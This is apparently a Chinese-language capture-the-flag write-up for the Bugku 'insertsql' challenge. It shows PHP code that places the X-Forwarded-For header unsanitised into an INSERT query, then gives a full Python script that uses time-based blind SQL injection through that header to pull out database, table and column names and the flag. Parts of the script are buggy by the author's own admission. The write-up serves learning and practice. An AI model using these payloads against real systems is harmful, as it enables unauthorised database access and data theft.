bugku insertsql

题目链接

0X00题目给出的PHP代码

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";  //将得到的IP插入到数据库
mysql_query($sql);

0x01 insert sql漏洞

将消息插入数据库

一般出现地方：电商生成订单接口存在INSERT型SQL注入漏洞，可修改订单金额数据，生成订单时会往数据库插入数据，但此处使用了动态查询语句的方式进行插入，通过注入数据可以达到篡改订单数据的目的

本题注入点X_FORWARDED_FOR

0x02 Python 脚本：

 import requests
 import sys
 import string

 def getdblen(url):  #获得库名长度
     sql="1'+(select case when(select length(database())={0}) then sleep(4) else 1 end) and '1'='1"
     for i in range(1,50):
         header={'X-Forwarded-For':sql.format(str(i))}
         try:
             s=requests.get(url,headers=header,timeout=3)
         except:
             print("database name len:",i)
             break

 def gettablelen(url):  #获得数据表名长度  没有输出 不知道错误在哪 很烦~~，查不到错误。有没有limit 都没有输出
     #limit的作用是查询到好几行数据，选取其中的几行  limit 1,1就是 第二行一行的数据（从0开始计算行数）
     sql="'+(select case when(select length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}) then sleep(4) else 1 end) and '1'='1"
     for n in range(0,5):
         for i in range(1,20):
             header={'X-Forwarded-For':sql.format(str(n),str(i))}
             try:
                 s=requests.get(url,headers=header,timeout=3)
             except:
                 print("table %s name len:%d"%(n,i))
                 break

 def getdb(url):
     database_name=''
     sql="1' and (case when (substr((select database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
     #逐个字母破解数据库名，{0}、{1}相当于标记了两处变量，用于下面的format语句
     for i in range(1,10): #猜测数据库名字在9个字符以内
         for str in range(32,129): #通过循环，逐个字母匹配
             if chr==128:
                 sys.exit(0)#如果没有匹配，就退出循环
             header={'X-Forwarded-For':sql.format(i,chr(str))}
             try:
                 s=requests.get(url,headers=header,timeout=3)
             except:
                 database_name+=chr(str)
                 print(database_name)
                 break
     return database_name

 def gettable(url):
     table_name=''
     payload="'+(select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
     guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
     for i in range(1,50):
         #print(i)
         for str in guess:
             if ord(str)==128:
                 sys.exit(0)
             header={'X-Forwarded-For':payload.format(i,str)}
             try:
                 s=requests.get(url,headers=header,timeout=3)
             except:
                 table_name+=str
                 print(table_name)
                 break
     return table_name

 def getcolumn(url):
     column_name=''
     sql="'+(select case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
     #guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
     for i in range(20):
         for str in range(32,129):
             if str==128:
                 sys.exit(0)
             payload={'X-Forwarded-For':sql.format(i,chr(str))}
             try:
                 s=requests.get(url,headers=payload,timeout=3)
             except:
                 column_name+=chr(str)
                 print(column_name)
                 break
     return column_name

 def getmessage(url):
     message=''
     sql="'+(select case when(substr((select group_concat(flag) from flag)from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
     for i in range(1,35):
         for str in range(32,129):
             if str==128:
                 sys.exit(0)
             payload={'X-Forwarded-For':sql.format(i,chr(str))}
             try:
                 s=requests.get(url,headers=payload,timeout=3)
             except:
                 message+=chr(str)
                 print(message)
                 break
     return message

 if __name__=='__main__':
     url="http://123.206.87.240:8002/web15/"
     print(getdb(url))
     #tablename = gettable(url)
     #print(tablename)
     #columname = getcolumn(url)
     #message=getmessage(url)

     #print(temp.lower())
     #getdblen(url)
     #gettablelen(url)
     #getdb(url)
     

代码借鉴了其他人的wp，并加上自己的一点想法，查询名长度等

总结：要加强写脚本的能力，多学习mysql语句，有好几个语句是因为不对才没有注入成功的。